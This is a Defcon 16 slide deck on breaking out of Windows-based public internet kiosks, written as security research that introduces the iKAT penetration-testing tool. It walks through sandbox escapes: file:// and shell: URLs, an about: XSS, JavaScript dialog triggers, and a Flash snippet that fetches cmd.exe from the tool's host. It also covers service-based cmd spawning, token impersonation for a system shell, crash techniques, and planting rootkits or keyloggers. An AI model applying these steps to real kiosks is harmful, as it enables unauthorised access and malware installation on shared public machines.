Hacking Internet Kiosk’s

Paul Craig
Defcon 16 – Las Vegas
Who am I?

- Paul Craig
- Principal Security Consultant.
- Security-Assessment.com, Auckland, NEW ZEALAND!

- Application Penetration Tester.
  - Devoted Hacker
  - Shameless Alcoholic

- Email: paul.craig@security-assessment.com
- www: http://www.security-assessment.com
Kiosks 101

- What is an Internet Kiosk.
- Kiosk Software Security Model.

Hacking Internet Kiosks

- Vulnerabilities in the Kiosk Security Model.
- Kiosk Hacking Techniques.


- iKAT Officially Released at Defcon 16!
- Hack any internet Kiosk in seconds.

Live Demos: Hacking Internet Kiosks with iKAT.
16 Months Ago I Was Sitting in an Airport.

- 8 hour stop over in Hong Kong.
- Queue of 3-4 people waiting to use an Internet Kiosk.
- “Damn, that internet kiosk sure is popular…”
- “I wonder if I could hack it. Lemon party the airport.?”

Why do I never hear about new methods of Kiosk hacking?

- Kiosks are popular, but rarely appear in security publications.
- Popularity + Poor Security Visibility = Good Attack Target

New Security Research Goal:

- Find Every Possible Method Of Hacking an Internet Kiosk.
- Become the **Kiosk of Internet Kiosk Hacking!**
What Is An Internet Kiosk

- Kiosks are Real Popular.
  - Internet Kiosks Found in: Airports, Train stations, Libraries, DVD Rental Stores, Corporate Building Lobbies, Convenience Stores, Post Office, Café’s.
Initial Kiosk Observations:

- Hardware:
  - Kiosks installed in a custom hard-shell case.
  - Lack of physical access to the computer case.
  - Input devices restricted (Floppy/DVD/USB/FireWire inaccessible).
  - Kiosk is securely bolted to the ground, padlocked.
  - Machine/Cash Box access through Abloy lock.
What Is An Internet Kiosk

- **Software.**
  - Majority of Kiosks run commercial Kiosk software on Windows.
  - Linux based Kiosks exist, but Windows is more popular.
  - 44 different commercial Kiosk products on the market.
  - Marketed as: “Turn your old PC into instant revenue!”
  - Buy $59.99 Shareware -> Install on XP -> Instant Kiosk!

- **Kiosk Software Essentially Skins Windows:**
  - Windows is made to look like a Kiosk terminal.
  - Implements standard Windows/Internet Explorer libraries.
  - “Windows Functionality Wrapped In A Kiosk Candy Shell.”
What Is An Internet Kiosk

- Hacking Kiosk Software Is The Way
  - Hardware hacking too obvious/obtrusive in public places.

- I need A Command Shell on Any Kiosk Terminal.
  - Explorer.exe, cmd.exe, command.com = I Win.
  - Time limited, I need shell in under 2 minutes.

- My Approach:
  - Eight popular Windows Kiosk products virtualized.
  - Compared the security model of each Kiosk product.
  - Developed a ‘Kiosk Attack’ methodology based on findings.
  - Series of techniques to invoke a command shell on a Kiosk.
  - All tested Kiosk products were found to be vulnerable.
Kiosk Security Model
Kiosk Security Model

- Kiosk Software is Based on a Principal of Least Privilege.
  - A Kiosk user must **ONLY** have access to browse the internet.
  - Kiosk software must prohibit all other activity.

- Security Implemented Through Two Approaches:
  - **Functionality Reduction.**
    - Prohibiting access to native OS functionality.
    - Anything not required to browse the internet.
  - **User Interface Sandboxing.**
    - ‘Graphically’ jailing a user into a Kiosk interface/GUI.
    - Kiosk software is ran in full screen.
    - Start Bar/Tray Menu removed.
    - No ability to click out of, or escape the Kiosk browser.
- Site Kiosk – Popular Commercial Kiosk Product.
  - Custom Start/Menu bar.
  - Real Windows ‘Start’ bar is hidden.
  - Trapped inside a Kiosk browser.
  - Runs in full screen mode, no ability to close.
**Kiosk Security Model**

- Kiosk Software Proactively Monitor Usage.
  - Kiosks contain blacklists of prohibited activity.

- Try to browse C:\

- Blacklist of Modal Window Dialogs.
  - “Save File As”, “Open With”, “Confirm File Delete”, “Print”.
  - Kiosk monitors dialog titles of all in-focus Windows.
  - Kiosk sends WM_CLOSE message to any blacklisted window title.
Kiosk Security Model

- API Hooking.
  - Hook native OS API calls which can be used maliciously.
  - KillProcess(), GetCommandLineW(), AllocConsole()
  - Try to run cmd.exe: “Unauthorized Functionality Detected”.

- Kiosk Browser ran in ‘High Security Zone’
  - Cannot download certain files.
  - ActiveX, Java often blocked.
  - ‘Less secure’ browser features disabled.

- Watchdog Timer Monitoring Usage.
  - Every 5 minutes enumerate Dialog title of all processes.
  - Send WM_CLOSE to any blacklisted applications.
Custom Keyboard Driver.
- Disable special shortcut key combinations.
  - CTRL-SHIFT-ESC (Task Mgr)
  - CTRL-ALT-DELETE (Task Mgr)
  - ALT-TAB (Switch Task)
  - CTRL-ESC (Start Menu)
  - Alt-F4 (Close Application)
- Modifier keys unmapped.
  - CTRL, Tab, ALT, ‘Start’, Function, F1-F12.
- Custom Keyboard with missing keys

Custom Mouse.
- No right click button!
Hacking

Kiosk Software
Hacking Kiosk Software

- Kiosk Security Model is Based on Reducing Functionality.
  - Reducing what we can do on the Kiosk.

- Exploiting A Kiosk Requires **Invoking Functionality**.
  - Make applications launch and popup on screen.
  - Use the invoked applications to escape the Kiosk jail.

- Kiosks Implement Blacklists.
  - Blacklists (by nature) are never 100%.
  - Only need one method of escaping the software jail.
  - Blacklist quality vastly varied between Kiosk products.
Available Kiosk Input Vectors:

1. **Physical Input:**
   - Interacting with the Kiosk GUI.
   - Using the keyboard/mouse.
   - Clicking on Buttons, Graphics, Menu’s
   - Typing values into the URL entry bar (if present)

2. **Remote Input:**
   - Remote browser content, rendered from a Kiosk terminal.
   - Input from a website.
What Do We Need To Do?

#1 – Escape The Kiosk Graphical Jail.
- Minimize or close the Kiosk browser application.
- Pop a command shell. : taskkill /IM KioskBrowser.exe
- Enable the hidden (real) Windows Start bar.
- ‘Get Back To Windows.’

#2 – Download Additional Binaries to The Kiosk.
- Port scanner, Metasploit, rootkit, trojan, keylogger.
You Find a Kiosk in Your Local Mall.
- "$1 for 2 hours internet usage"
- Insert a dollar.

You Find You Are Trapped Inside a Kiosk Browser.
- Right mouse button has been disabled.
- Custom keyboard with only limited keys.
- Feels like a Windows OS, but has a custom design/layout.
  - 'Start' bar is labelled 'SuperKiosk'.
  - Only one visible button to 'Start Browsing'
### Hacking Kiosk Software

- Use the URL Entry Bar (If present) To Browse The File System
  - HTTP libraries used by the Kiosk can browse the file-system.
  - Kiosk software must explicitly block local browsing attempts.

- Windows is flexible.
  - Many ways of doing the same thing.
  - `C:\windows\` may be blocked.

<table>
<thead>
<tr>
<th>File:/C:/windows</th>
<th>File:/C:\windows\</th>
<th>File:/C:\windows/</th>
<th>File:/C:/windows</th>
</tr>
</thead>
<tbody>
<tr>
<td>File://C:/windows</td>
<td>File://C:\windows/</td>
<td>file://C:\windows</td>
<td>C:/windows</td>
</tr>
<tr>
<td>C:\windows\</td>
<td>C:\windows</td>
<td>C:/windows/</td>
<td>C:/windows\</td>
</tr>
<tr>
<td>%WINDIR%</td>
<td>%TMP%</td>
<td>%TEMP%</td>
<td>%SYSTEMDRIVE%</td>
</tr>
<tr>
<td>%SYSTEMROOT%</td>
<td>%APPDATA%</td>
<td>%HOMEDRIVE%</td>
<td>%HOMESHARE%</td>
</tr>
</tbody>
</table>

- Blacklist technology starts failing about now.
Hacking Kiosk Software

- **Common Dialogs.**
  - Windows contains ‘Common Dialog’ libraries.
    - Saving a file, opening a file, select font, choose colour.
  - COMDLG32.dll (Common Windows Dialogs Library).
    - COMDLG32.DLL Implements Common Windows Controls.
    - From COMCTL32.DLL.

- File/Open, File/Save Dialogs implement the ‘File View’ control.
  - File View control provides full Explorer functionality.
  - Same control that Windows Explorer uses.
  - File-Open dialog = Explorer
- Systematically Click Every Button, Graphic, Icon In The Kiosk
  - Can we invoke a File - View Dialog?: ‘Attach File’ dialog
  - Browse the file system, launch other applications.
  - Retarded mouse present? No right mouse button?
  - Select another file with left mouse and drag it onto cmd.exe
    - cmd.exe will spawn.
Internet Explorer ‘Image Toolbar’.
- IE toolbar hovers in top-left when a large image is clicked.
- Each icon of the toolbar can invoke a Common Dialog.
  - File/Save.
  - File/Print.
  - File/Mailto.
- Open “My Pictures” in Explorer.

Present if the Kiosk is developed using Internet Explorer libraries.
- Click a large image, does the Image Toolbar popup?
Hacking Kiosk Software

- Using the Keyboard.
  - Keyboard shortcuts can be used to access the host OS.
  - Is a custom keyboard driver present?
  - Are modifier keys enabled?

- Keyboard shortcuts which produce common dialogs.
  - CTRL-B, CTRL-I (Favourites), CTRL-H (History)
  - CTRL-L, CTL-0 – (File/Open Dialog), CTRL-P – (Print Dialog)
  - CTRL-S – (Save As)

- Kiosk Product Specific Keyboard Shortcut.
  - All Kiosk products contain a hidden Administrative/Menu.
  - Mash the keyboard, CTRL-ALT-F8? CTRL-ESC-F9?
Browser Security Zones

- Browser security model incorporates different security zones.
  
  **Restricted Sites**
  **Internet Zone**
  **Intranet Zone**
  **Trusted Sites**

- Each zone adheres to a different security policy.
  - Internet zone cannot follow links to the local file system.
  - While Trusted Sites, Intranet Zone can.

Does The Kiosk Protect Against Access From All Zones?

- Internet Zone may be configured securely.
Hacking Kiosk Software

- As a User On The Keyboard You Can Access all Security Zones.
  - URL’s must be typed into the URL bar.
- About: pluggable-protocol Handler.
  - Belongs to the ‘Trusted Sites’ security zone.
  - Suffers from a Cross Site Scripting (XSS) vulnerability.
  - User can control content rendered in trusted security zone.
- Create A Trusted Security Zone ‘File Browser’.
  - `about:<a href=C:\windows\>Click-Here</a>`
  - `about:<input type=file>`
- Trusted security zone can follow links to the file system.
- Shell Protocol Handler.
  - Provides access to Windows web folders.
    - Shell:Profile
    - Shell:ProgramFiles
    - Shell:System
    - Shell:ControlPanelFolder
    - Shell:Windows
  - Typing each URL will spawn explorer.exe and browse the folder.
How about:

- shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}
- Web folder by CLASSID (Windows Control Panel)
- Works from WININET.DLL/MSINET.OCX
The Downside to Physical Kiosk Inputs.

- Kiosk software is designed to not trust the guy on the keyboard.
- **Kiosk User = Most Obvious Security Threat.**
- Opportunistic hacker in an 8 hour stop over.

Kiosk Security Model Contains a Common Oversight:

- Remote websites are **not** factored into the security equation.
- Remote websites often trusted **MORE** than local Kiosk users!

Kiosks Rely On the Browser Control Security Settings.

- Security designed to protect users from malicious websites.
- Not designed for Kiosk terminals.
Available Remote Input Vectors:

- Remotely hosted content, viewed by a Kiosk.
- JavaScript.
- Java Applets.
- ActiveX.
- ClickOnce applications (.NET Online Application Deployment).
- Internet Zone protocol handlers.
- File type handlers.
- Flash, Director, Windows Media Player, Real, QuickTime, Acrobat, other browser plug-ins.

Increased Functionality = Larger Attack Surface.
I need a Kiosk Hacking Website.

- An online tool you visit from any Kiosk terminal.
- Provides content to help an escape from any application jail.

“Sure would help me during penetration tests”

iKAT – Interactive Kiosk Attack Tool – Official Release

http://ikat.ha.cked.net
What Can iKAT Do?

- Kiosk Reconnaissance.
  - JavaScript & res:// (resource) protocol handler.
  - Extract bitmap resources from PE executables.
  - Verify bitmap height, executable exists.
  - Provides valuable information regarding the Kiosk.
  - iKAT detects common commercial Kiosk products.

```javascript
var disk;
disk = 'C:.dds';
var test = new Image();
test.src = 'res://C:.dds' + fileurl;
if (test.height != 30) {
  return true;
}
```
Hacking Kiosk Software

- Display Local Browser Variables.
  - Determine underlying browser technology.
  - MSINET.OCX, WINHTTP.DLL self-identify as Internet Explorer
  - Detect the presence of .NET

- Display Remote Server Variables
  - Discover remote IP address of the Kiosk terminal.
  - Detect any additional headers being included in requests.
    - “Kiosk-Location: Terminal5”
Hacking Kiosk Software

- **Invoke Dialogs with JavaScript/HTML**

- **File Browse:**
  
  `<input type=file name=test>`

- **File Save As:**
  
  Javascript:document.execCommand("SaveAs");

- **File Print:**
  
  Javascript:window.print();

  “Print to File” - Invoke file/Open dialog.

- **Invoke File Print Preview ActiveX:**
Use Flash To Create Common Dialogs.

- Adobe Flash is widely used online, plug-in typically installed.
- DownloadCmd.SWF: Downloads cmd.exe to disk.

```javascript
var fileName: String = "cmd.exe";
var file: File Reference;
downloadURL = new URLRequest();
downloadURL.url = "http://ikat.ha.cked.net/files/cmd.exe";
file = new File Reference();
file.download(downloadURL, fileName);
```

Create 3 File-View Dialogs

- "Select File For Upload"
- "Select File(s) For Upload"
- "Select location for Download by ika.ha.cked.net"

Common Dialog With Unique Dialog ID Title

- Not standard "Choose File", Kiosk blacklist fails again.
Spawning Applications.
- Can we cause an applications/processes to launch on the Kiosk.
- Spawned application may contain common dialogs.
- Provide additional access to the host.

Accessing Default Windows URI Handlers.
- Callto://, Gopher://, HCP://, Telnet://, TN3270://, Rlogin://, LDAP://, News://, Mailto://

Click a Link to URI Handler.
- `<A HREF=Mailto://aaa> mailto </a>`
- Mailto URI handler launches (email client)

3rd party URI Handlers
- MMS://, SKYPE://, SIP://, Play://, Steam://, Quicktime://
Hacking Kiosk Software

- Example: HCP:// Help And Support Center
  - `<a href=HCP://dummy> Click me </a>`
  - Search HCP for What You Want to Launch
  - “Using Notepad” Provides link to spawn notepad.exe
  - Left Click Only! (No right click button)
Hacking Kiosk Software

- **iKAT** Provides Links to over 100 Internet Zone URI handlers.
  - Click, Click, Click down the list.
  - Determine which handlers are blocked by the Kiosk.
  - Invoke the handler.
  - Use the invoked handler to escape.

- **Pluggable Protocol Handlers**
  - Contains URLs for Plugable protocols.
    - About:, res:, shell:
Invoke Applications Using File Type Handlers.

- Click on test.myfile, Windows spawns ‘myfile’ handler.
- Internet Explorer supports prompt-less handler execution.
- Example: Click test.wmv, Windows Media Player Spawns.
- No Prompt “Are you sure you want to...”.

Kiosk blacklists detect warning prompt pop-ups!

- iKAT uses DHTML/JavaScript to invoke over 100 unique file handlers.
iKAT Windows Media Files.

- 'Promptness' launching of wmplayer.exe for multiple file types.
- 'Web Enabled' playlist.
- Creates a clean web browser, inside Windows Media Player.
Hacking Kiosk Software

- Embed Executables Within Office Documents.
  - Is an Office viewer installed on the Kiosk?
  - Embed cmd.exe within an office document.
  - Supported by .DOC,.DOCX,.XLS,.XLSB,.XLSM,.XLSX
Malicious Java Applets:
- Signed Java applets can execute local processes.
- Detect if JRE is installed, using the resource protocol.
- Does the Kiosk detect the security warning prompt?
- "Warning – Security"

iKAT Contains Signed Kiosk Specific Java Applets.
- Spawn command local shells, execute useful binaries.
- Jython – GNUCITIZEN’s ‘Python in a Java Applet’.
Malicious ActiveX

- Safe for scripting ActiveX’s can be used to compromise a Kiosk.
- Unsafe method: object.execute()
- Can we install a malicious ActiveX on the Kiosk?
  - Execute cmd.exe?

iKAT ActiveX

- Safe-for-scripting ActiveX which executes arbitrary executables.
- Installing an ActiveX requires administrative permissions.
- Its unlikely you will have administrative authority.
- If by some chance you do, you win.

ActiveX is changing:

- Internet Explorer 8 does not require admin rights for ActiveX.
Malicious ClickOnce Applications

- ClickOnce is .NET 2.0/3 technology (Runtime required)
- Supports online application deployment. (.application)
- Administrative authority not required to run!
- Creates a security prompt with another unique title.

New technology: Kiosks do not prohibit “Application Run..”

Modern Kiosk software now developed in .NET (CLR is present!)

Very powerful attack vector, .NET installed, you WIN.
How About Malicious ClickOnce applications?

**iKAT - Embedded Web Browser.**
- ClickOnce Embedded Browser Control
- Create a browser without less restrictions.

**iKAT - Application Executor.**
- Attempts to spawn over 50 native Windows applications.

**iKAT - Token Pincher**
- “Tokens are hip, let’s create a ClickOnce token hijacker”
- Does the Kiosk user have the SeImpersonate privilege?
- Token Pincher will impersonate an available privileged token.
  - Pop you system shell, BooYah!
Hacking Kiosk Software

- How Many People Have Ever Crashed a Browser?
- What About Crashing a Kiosk: ‘Emo-Kiosking’
  - Can we create an unhandled exception in the Kiosk browser.
  - Kiosk crashes, Windows freak outs, we get desktop.
  - Rare situation, application crash = highly critical vulnerability.

- iKAT Contains Common Browser Crash Techniques.
  - Designed to crash common browser libraries.
  - Does the Kiosk detect the crash?
  - Application re-spawned or desktop presented?
  - Fastest, easiest method to escape a Kiosk.

Crash a Kiosk

Why bother exploiting a Kiosk when crashing it will give you the desktop? Create an unhandled exception and you win...
Otherwise known as ‘Kiosk Self Mutilation’ or Emo-Kiosking

Previously Published Flaws
- Input Type=Crash
- Java Document.Write Loop
- CSS Position
- CSS Memory Corruption
- Body onLoad="window()"
- MHTML onClick
- HTML Order List
- JavaScript Memory Exhaustion
- Res:// Integer Overflow
- Flash 8 IE7 Stack Overflow
- AutoMagic Flash Crash
Hacking Kiosk Software

- What About Crashing Browser Plug-ins.
- File Format Fuzzing of .SWF (Flash) files.
  - “Can I create a .SWF file that reliably crashes any browser?”
  - Turns out yes, yes, you can.
    - Multiple invalid memory access read scenarios.
    - Divide by zero unhandled exceptions.
    - Immediately un-exploitable, reliable crash scenarios.
  - Created ‘Auto Magic Flash Crash’.

- Is Flash 9 plug-in installed on the Kiosk terminal?
  - iKAT can crash the Kiosk, because its oh-day.
  - Does the Kiosk detect the crash? Or present the desktop?
Downloading Tools

- Lets Assume Something Worked.
  - You have access to the Kiosk File system.
  - Command shell spawned, Common Dialog, Java installed, etc

- What Now?
  - Download additional tools/binaries.
  - Nmap, rootkit, funnygame.exe,

- How Do You Download Files In a Tool-less Environment.
  - Kiosk terminal will not have a copy of wget.exe.
  - Internet Explorer may be uninstalled.
  - Kiosk browser is configured to not download binaries.
Downloading Files Using Native Windows Functionality:

- **Common Dialogs**
  - ‘Attach’ a file from a remote resource: http://www.a.com/test.exe
  - FPSE/Web DAV file saved locally and attaches.

- **Works From Any File->Open Dialog.**
  - File saved in a writeable location.
  - Temporary internet files.
  - Downloads any file type.
Downloading Tools

- Notepad Is A Web Browser.
  - File->Open
    - http://test.com/trojan.txt
    - File downloaded.
  - File->Save
    - Upload content to a remote site.
    - FPSE/WebDav
    - http://www.ok.com/blah.txt

- Crazy Windows Functionality.
Kiosk Hacking Tools Provided by iKAT:

- Command Shells:
  - Unlocked Cmd.exe (does not verify DisableCMD registry key)

- Network Tools
  - Netcat, GNU WGet, Nmap.

- Exploitation Aids
  - Enable Hidden or Disabled ‘Start’ bar.
  - Application Executor
  - Automatically spawn 52 system applications.
  - Taskmgr, explorer, notepad, regedit, on screen keyboard.
Exploitation Aids:

- Spawn a Command Shell Through Detours
- How many ways to spawn a command shell on Windows?

<table>
<thead>
<tr>
<th>cmd.exe</th>
<th>command.com</th>
<th>win.com cmd.exe</th>
<th>win.com command.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>Loadfix.com start.exe</td>
<td>sc create testsvc binpath= &quot;cmd /K start&quot; type= own type= interact</td>
<td>loadfix.com cmd.exe</td>
<td>loadfix.com command.com</td>
</tr>
<tr>
<td>start loadfix.com cmd.exe</td>
<td>start loadfix.com command.com</td>
<td>start loadfix.com cmd.exe</td>
<td>%COMSPEC%</td>
</tr>
</tbody>
</table>

- Win.com? Loadfix.com? Start? Combinations of both?
- ACL’s on the Kiosk block cmd.exe, what about command.com?
- ‘CMD Detours’ tool tries 17 methods of invoking a console shell.

- All Tools Available in 7Bit Safe VBScript!
- Download tool with notepad, Copy/Paste VBScript.
About iKAT

- **Using iKAT**
  - iKAT is a tool designed to aid penetration testing.
  - Use it to configure your own Kiosk securely!
    - Test your own blacklists, increase your own level of security.
    - Disable vulnerable browser plug-ins.
    - Configure browser security zones.
  - Feedback Welcome:
    - Submit a feature request, report a bug functionality.
- **100% Open Sourced Soon.**
  - **iKAT Portable** being released soon
  - Downloadable version you can host locally, memory stick.
Kiosk Hacking Demonstrations:

- Two commercial Kiosk products.
- Recommended Kiosk application configuration.
- Default Windows XP install.
Happy Hacking.

Questions?

Email me:

paul.craig@security-assessment.com